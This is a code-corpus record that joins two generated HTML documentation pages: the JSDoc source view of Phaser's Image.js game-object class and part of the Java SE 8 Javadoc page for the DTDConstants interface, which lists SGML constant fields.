<a href="#" class="dropdown-toggle" data-toggle="dropdown">Game Objects<b class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1"><a href="Phaser.GameObjectFactory.html">Factory (game.add)</a></li>
<li class="class-depth-1"><a href="Phaser.GameObjectCreator.html">Creator (game.make)</a></li>
<li class="class-depth-1"><a href="Phaser.Sprite.html">Sprite</a></li>
<li class="class-depth-1"><a href="Phaser.Image.html">Image</a></li>
<li class="class-depth-1"><a href="Phaser.Sound.html">Sound</a></li>
<li class="class-depth-1"><a href="Phaser.Video.html">Video</a></li>
<li class="class-depth-1"><a href="Phaser.Particles.Arcade.Emitter.html">Particle Emitter</a></li>
<li class="class-depth-1"><a href="Phaser.Particle.html">Particle</a></li>
<li class="class-depth-1"><a href="Phaser.Text.html">Text</a></li>
<li class="class-depth-1"><a href="Phaser.Tween.html">Tween</a></li>
<li class="class-depth-1"><a href="Phaser.BitmapText.html">BitmapText</a></li>
<li class="class-depth-1"><a href="Phaser.Tilemap.html">Tilemap</a></li>
<li class="class-depth-1"><a href="Phaser.BitmapData.html">BitmapData</a></li>
<li class="class-depth-1"><a href="Phaser.RetroFont.html">RetroFont</a></li>
<li class="class-depth-1"><a href="Phaser.Button.html">Button</a></li>
<li class="class-depth-1"><a href="Phaser.Animation.html">Animation</a></li>
<li class="class-depth-1"><a href="Phaser.Graphics.html">Graphics</a></li>
<li class="class-depth-1"><a href="Phaser.RenderTexture.html">RenderTexture</a></li>
<li class="class-depth-1"><a href="Phaser.TileSprite.html">TileSprite</a></li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Geometry<b class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1"><a href="Phaser.Circle.html">Circle</a></li>
<li class="class-depth-1"><a href="Phaser.Ellipse.html">Ellipse</a></li>
<li class="class-depth-1"><a href="Phaser.Line.html">Line</a></li>
<li class="class-depth-1"><a href="Phaser.Matrix.html">Matrix</a></li>
<li class="class-depth-1"><a href="Phaser.Point.html">Point</a></li>
<li class="class-depth-1"><a href="Phaser.Polygon.html">Polygon</a></li>
<li class="class-depth-1"><a href="Phaser.Rectangle.html">Rectangle</a></li>
<li class="class-depth-1"><a href="Phaser.RoundedRectangle.html">Rounded Rectangle</a></li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Physics<b class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1"><a href="Phaser.Physics.Arcade.html">Arcade Physics</a></li>
<li class="class-depth-2"><a href="Phaser.Physics.Arcade.Body.html">Body</a></li>
<li class="class-depth-2"><a href="Phaser.Weapon.html">Weapon</a></li>
<li class="class-depth-1"><a href="Phaser.Physics.P2.html">P2 Physics</a></li>
<li class="class-depth-2"><a href="Phaser.Physics.P2.Body.html">Body</a></li>
<li class="class-depth-2"><a href="Phaser.Physics.P2.Spring.html">Spring</a></li>
<li class="class-depth-2"><a href="Phaser.Physics.P2.CollisionGroup.html">CollisionGroup</a></li>
<li class="class-depth-2"><a href="Phaser.Physics.P2.ContactMaterial.html">ContactMaterial</a></li>
<li class="class-depth-1"><a href="Phaser.Physics.Ninja.html">Ninja Physics</a></li>
<li class="class-depth-2"><a href="Phaser.Physics.Body.html">Body</a></li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Input<b class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1"><a href="Phaser.InputHandler.html">Input Handler</a></li>
<li class="class-depth-1"><a href="Phaser.Pointer.html">Pointer</a></li>
<li class="class-depth-1"><a href="Phaser.DeviceButton.html">Device Button</a></li>
<li class="class-depth-1"><a href="Phaser.Mouse.html">Mouse</a></li>
<li class="class-depth-1"><a href="Phaser.Keyboard.html">Keyboard</a></li>
<li class="class-depth-1"><a href="Phaser.Key.html">Key</a></li>
<li class="class-depth-1"><a href="Phaser.Gamepad.html">Gamepad</a></li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Community<b class="caret"></b></a>
<ul class="dropdown-menu ">
<li class="class-depth-1"><a href="http://phaser.io">Phaser Web Site</a></li>
<li class="class-depth-1"><a href="https://github.com/photonstorm/phaser">Phaser Github</a></li>
<li class="class-depth-1"><a href="http://phaser.io/examples">Phaser Examples</a></li>
<li class="class-depth-1"><a href="https://github.com/photonstorm/phaser-plugins">Phaser Plugins</a></li>
<li class="class-depth-1"><a href="http://www.html5gamedevs.com/forum/14-phaser/">Forum</a></li>
<li class="class-depth-1"><a href="http://stackoverflow.com/questions/tagged/phaser-framework">Stack Overflow</a></li>
<li class="class-depth-1"><a href="http://phaser.io/learn">Tutorials</a></li>
<li class="class-depth-1"><a href="http://phaser.io/community/newsletter">Newsletter</a></li>
<li class="class-depth-1"><a href="http://phaser.io/community/twitter">Twitter</a></li>
<li class="class-depth-1"><a href="http://phaser.io/community/slack">Slack</a></li>
<li class="class-depth-1"><a href="http://phaser.io/community/donate">Donate</a></li>
<li class="class-depth-1"><a href="https://www.codeandweb.com/texturepacker/phaser">Texture Packer</a></li>
</ul>
</li>
</ul>
</div>
</div>
<div class="row-fluid">
<div class="span12">
<div id="main">
<h1 class="page-title">Source: src/gameobjects/Image.js</h1>
<section>
<article>
<pre class="sunlight-highlight-javascript linenums">/**
* @author Richard Davey <[email protected]>
* @copyright 2016 Photon Storm Ltd.
* @license {@link https://github.com/photonstorm/phaser/blob/master/license.txt|MIT License}
*/
/**
* An Image is a light-weight object you can use to display anything that doesn't need physics or animation.
* It can still rotate, scale, crop and receive input events. This makes it perfect for logos, backgrounds, simple buttons and other non-Sprite graphics.
*
* @class Phaser.Image
* @extends PIXI.Sprite
* @extends Phaser.Component.Core
* @extends Phaser.Component.Angle
* @extends Phaser.Component.Animation
* @extends Phaser.Component.AutoCull
* @extends Phaser.Component.Bounds
* @extends Phaser.Component.BringToTop
* @extends Phaser.Component.Crop
* @extends Phaser.Component.Destroy
* @extends Phaser.Component.FixedToCamera
* @extends Phaser.Component.InputEnabled
* @extends Phaser.Component.LifeSpan
* @extends Phaser.Component.LoadTexture
* @extends Phaser.Component.Overlap
* @extends Phaser.Component.Reset
* @extends Phaser.Component.Smoothed
* @constructor
* @param {Phaser.Game} game - A reference to the currently running game.
* @param {number} [x=0] - The x coordinate of the Image. The coordinate is relative to any parent container this Image may be in.
* @param {number} [y=0] - The y coordinate of the Image. The coordinate is relative to any parent container this Image may be in.
* @param {string|Phaser.RenderTexture|Phaser.BitmapData|PIXI.Texture} [key] - The texture used by the Image during rendering. It can be a string which is a reference to the Cache entry, or an instance of a RenderTexture, BitmapData or PIXI.Texture.
* @param {string|number} [frame] - If this Image is using part of a sprite sheet or texture atlas you can specify the exact frame to use by giving a string or numeric index.
*/
Phaser.Image = function (game, x, y, key, frame) {
x = x || 0;
y = y || 0;
key = key || null;
frame = frame || null;
/**
* @property {number} type - The const type of this object.
* @readonly
*/
this.type = Phaser.IMAGE;
PIXI.Sprite.call(this, Phaser.Cache.DEFAULT);
Phaser.Component.Core.init.call(this, game, x, y, key, frame);
};
Phaser.Image.prototype = Object.create(PIXI.Sprite.prototype);
Phaser.Image.prototype.constructor = Phaser.Image;
Phaser.Component.Core.install.call(Phaser.Image.prototype, [
'Angle',
'Animation',
'AutoCull',
'Bounds',
'BringToTop',
'Crop',
'Destroy',
'FixedToCamera',
'InputEnabled',
'LifeSpan',
'LoadTexture',
'Overlap',
'Reset',
'Smoothed'
]);
Phaser.Image.prototype.preUpdateInWorld = Phaser.Component.InWorld.preUpdate;
Phaser.Image.prototype.preUpdateCore = Phaser.Component.Core.preUpdate;
/**
* Automatically called by World.preUpdate.
*
* @method Phaser.Image#preUpdate
* @memberof Phaser.Image
*/
Phaser.Image.prototype.preUpdate = function() {
if (!this.preUpdateInWorld())
{
return false;
}
return this.preUpdateCore();
};
</pre>
</article>
</section>
</div>
<div class="clearfix"></div>
<footer>
<span class="copyright">
Phaser Copyright © 2012-2016 Photon Storm Ltd.
</span>
<br />
<span class="jsdoc-message">
Documentation generated by <a href="https://github.com/jsdoc3/jsdoc">JSDoc 3.3.3</a>
on Mon Jul 11 2016 10:10:43 GMT+0100 (GMT Daylight Time) using the <a href="https://github.com/terryweiss/docstrap">DocStrap template</a>.
</span>
</footer>
</div>
<br clear="both">
</div>
</div>
<script src="scripts/sunlight.js"></script>
<script src="scripts/sunlight.javascript.js"></script>
<script src="scripts/sunlight-plugin.doclinks.js"></script>
<script src="scripts/sunlight-plugin.linenumbers.js"></script>
<script src="scripts/sunlight-plugin.menu.js"></script>
<script src="scripts/jquery.min.js"></script>
<script src="scripts/jquery.scrollTo.js"></script>
<script src="scripts/jquery.localScroll.js"></script>
<script src="scripts/bootstrap-dropdown.js"></script>
<script src="scripts/toc.js"></script>
<script> Sunlight.highlightAll({lineNumbers:true, showMenu: true, enableDoclinks :true}); </script>
<script>
$( function () {
$( "#toc" ).toc( {
anchorName : function(i, heading, prefix) {
return $(heading).attr("id") || ( prefix + i );
},
selectors : "h1,h2,h3,h4",
showAndHide : false,
scrollTo : 60
} );
$( "#toc>ul" ).addClass( "nav nav-pills nav-stacked" );
$( "#main span[id^='toc']" ).addClass( "toc-shim" );
} );
</script>
</body>
</html>
| aehernandez/HyperSpace | node_modules/phaser/docs/src_gameobjects_Image.js.html | HTML | gpl-3.0 | 42,578 |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (1.8.0_11) on Mon Jun 16 17:35:51 PDT 2014 -->
<title>DTDConstants (Java Platform SE 8 )</title>
<meta name="date" content="2014-06-16">
<meta name="keywords" content="javax.swing.text.html.parser.DTDConstants interface">
<meta name="keywords" content="CDATA">
<meta name="keywords" content="ENTITY">
<meta name="keywords" content="ENTITIES">
<meta name="keywords" content="ID">
<meta name="keywords" content="IDREF">
<meta name="keywords" content="IDREFS">
<meta name="keywords" content="NAME">
<meta name="keywords" content="NAMES">
<meta name="keywords" content="NMTOKEN">
<meta name="keywords" content="NMTOKENS">
<meta name="keywords" content="NOTATION">
<meta name="keywords" content="NUMBER">
<meta name="keywords" content="NUMBERS">
<meta name="keywords" content="NUTOKEN">
<meta name="keywords" content="NUTOKENS">
<meta name="keywords" content="RCDATA">
<meta name="keywords" content="EMPTY">
<meta name="keywords" content="MODEL">
<meta name="keywords" content="ANY">
<meta name="keywords" content="FIXED">
<meta name="keywords" content="REQUIRED">
<meta name="keywords" content="CURRENT">
<meta name="keywords" content="CONREF">
<meta name="keywords" content="IMPLIED">
<meta name="keywords" content="PUBLIC">
<meta name="keywords" content="SDATA">
<meta name="keywords" content="PI">
<meta name="keywords" content="STARTTAG">
<meta name="keywords" content="ENDTAG">
<meta name="keywords" content="MS">
<meta name="keywords" content="MD">
<meta name="keywords" content="SYSTEM">
<meta name="keywords" content="GENERAL">
<meta name="keywords" content="DEFAULT">
<meta name="keywords" content="PARAMETER">
<link rel="stylesheet" type="text/css" href="../../../../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../../../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="DTDConstants (Java Platform SE 8 )";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/DTDConstants.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
<div class="aboutLanguage"><strong>Java™ Platform<br>Standard Ed. 8</strong></div>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../javax/swing/text/html/parser/DTD.html" title="class in javax.swing.text.html.parser"><span class="typeNameLink">Prev Class</span></a></li>
<li><a href="../../../../../javax/swing/text/html/parser/Element.html" title="class in javax.swing.text.html.parser"><span class="typeNameLink">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?javax/swing/text/html/parser/DTDConstants.html" target="_top">Frames</a></li>
<li><a href="DTDConstants.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li><a href="#field.summary">Field</a> | </li>
<li>Constr | </li>
<li>Method</li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li><a href="#field.detail">Field</a> | </li>
<li>Constr | </li>
<li>Method</li>
</ul>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">javax.swing.text.html.parser</div>
<h2 title="Interface DTDConstants" class="title">Interface DTDConstants</h2>
</div>
<div class="contentContainer">
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Known Implementing Classes:</dt>
<dd><a href="../../../../../javax/swing/text/html/parser/AttributeList.html" title="class in javax.swing.text.html.parser">AttributeList</a>, <a href="../../../../../javax/swing/text/html/parser/DocumentParser.html" title="class in javax.swing.text.html.parser">DocumentParser</a>, <a href="../../../../../javax/swing/text/html/parser/DTD.html" title="class in javax.swing.text.html.parser">DTD</a>, <a href="../../../../../javax/swing/text/html/parser/Element.html" title="class in javax.swing.text.html.parser">Element</a>, <a href="../../../../../javax/swing/text/html/parser/Entity.html" title="class in javax.swing.text.html.parser">Entity</a>, <a href="../../../../../javax/swing/text/html/parser/Parser.html" title="class in javax.swing.text.html.parser">Parser</a></dd>
</dl>
<hr>
<br>
<pre>public interface <span class="typeNameLabel">DTDConstants</span></pre>
<div class="block">SGML constants used in a DTD. The names of the
constants correspond the the equivalent SGML constructs
as described in "The SGML Handbook" by Charles F. Goldfarb.</div>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../javax/swing/text/html/parser/DTD.html" title="class in javax.swing.text.html.parser"><code>DTD</code></a>,
<a href="../../../../../javax/swing/text/html/parser/Element.html" title="class in javax.swing.text.html.parser"><code>Element</code></a></dd>
</dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- =========== FIELD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.summary">
<!-- -->
</a>
<h3>Field Summary</h3>
<table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation">
<caption><span>Fields</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colFirst" scope="col">Modifier and Type</th>
<th class="colLast" scope="col">Field and Description</th>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#ANY">ANY</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#CDATA">CDATA</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#CONREF">CONREF</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#CURRENT">CURRENT</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#DEFAULT">DEFAULT</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#EMPTY">EMPTY</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#ENDTAG">ENDTAG</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#ENTITIES">ENTITIES</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#ENTITY">ENTITY</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#FIXED">FIXED</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#GENERAL">GENERAL</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#ID">ID</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#IDREF">IDREF</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#IDREFS">IDREFS</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#IMPLIED">IMPLIED</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#MD">MD</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#MODEL">MODEL</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#MS">MS</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NAME">NAME</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NAMES">NAMES</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NMTOKEN">NMTOKEN</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NMTOKENS">NMTOKENS</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NOTATION">NOTATION</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NUMBER">NUMBER</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NUMBERS">NUMBERS</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NUTOKEN">NUTOKEN</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#NUTOKENS">NUTOKENS</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#PARAMETER">PARAMETER</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#PI">PI</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#PUBLIC">PUBLIC</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#RCDATA">RCDATA</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#REQUIRED">REQUIRED</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#SDATA">SDATA</a></span></code> </td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#STARTTAG">STARTTAG</a></span></code> </td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>static int</code></td>
<td class="colLast"><code><span class="memberNameLink"><a href="../../../../../javax/swing/text/html/parser/DTDConstants.html#SYSTEM">SYSTEM</a></span></code> </td>
</tr>
</table>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ FIELD DETAIL =========== -->
<ul class="blockList">
<li class="blockList"><a name="field.detail">
<!-- -->
</a>
<h3>Field Detail</h3>
<a name="CDATA">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>CDATA</h4>
<pre>static final int CDATA</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.CDATA">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="ENTITY">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>ENTITY</h4>
<pre>static final int ENTITY</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.ENTITY">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="ENTITIES">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>ENTITIES</h4>
<pre>static final int ENTITIES</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.ENTITIES">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="ID">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>ID</h4>
<pre>static final int ID</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.ID">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="IDREF">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>IDREF</h4>
<pre>static final int IDREF</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.IDREF">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="IDREFS">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>IDREFS</h4>
<pre>static final int IDREFS</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.IDREFS">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NAME">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NAME</h4>
<pre>static final int NAME</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NAME">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NAMES">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NAMES</h4>
<pre>static final int NAMES</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NAMES">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NMTOKEN">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NMTOKEN</h4>
<pre>static final int NMTOKEN</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NMTOKEN">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NMTOKENS">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NMTOKENS</h4>
<pre>static final int NMTOKENS</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NMTOKENS">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NOTATION">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NOTATION</h4>
<pre>static final int NOTATION</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NOTATION">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NUMBER">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NUMBER</h4>
<pre>static final int NUMBER</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NUMBER">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NUMBERS">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NUMBERS</h4>
<pre>static final int NUMBERS</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NUMBERS">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NUTOKEN">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NUTOKEN</h4>
<pre>static final int NUTOKEN</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NUTOKEN">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="NUTOKENS">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>NUTOKENS</h4>
<pre>static final int NUTOKENS</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.NUTOKENS">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="RCDATA">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>RCDATA</h4>
<pre>static final int RCDATA</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.RCDATA">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="EMPTY">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>EMPTY</h4>
<pre>static final int EMPTY</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.EMPTY">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="MODEL">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>MODEL</h4>
<pre>static final int MODEL</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
<dd><a href="../../../../../constant-values.html#javax.swing.text.html.parser.DTDConstants.MODEL">Constant Field Values</a></dd>
</dl>
</li>
</ul>
<a name="ANY">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>ANY</h4>
<pre>static final int ANY</pre>
<dl>
<dt><span class="seeLabel">See Also:</span></dt>
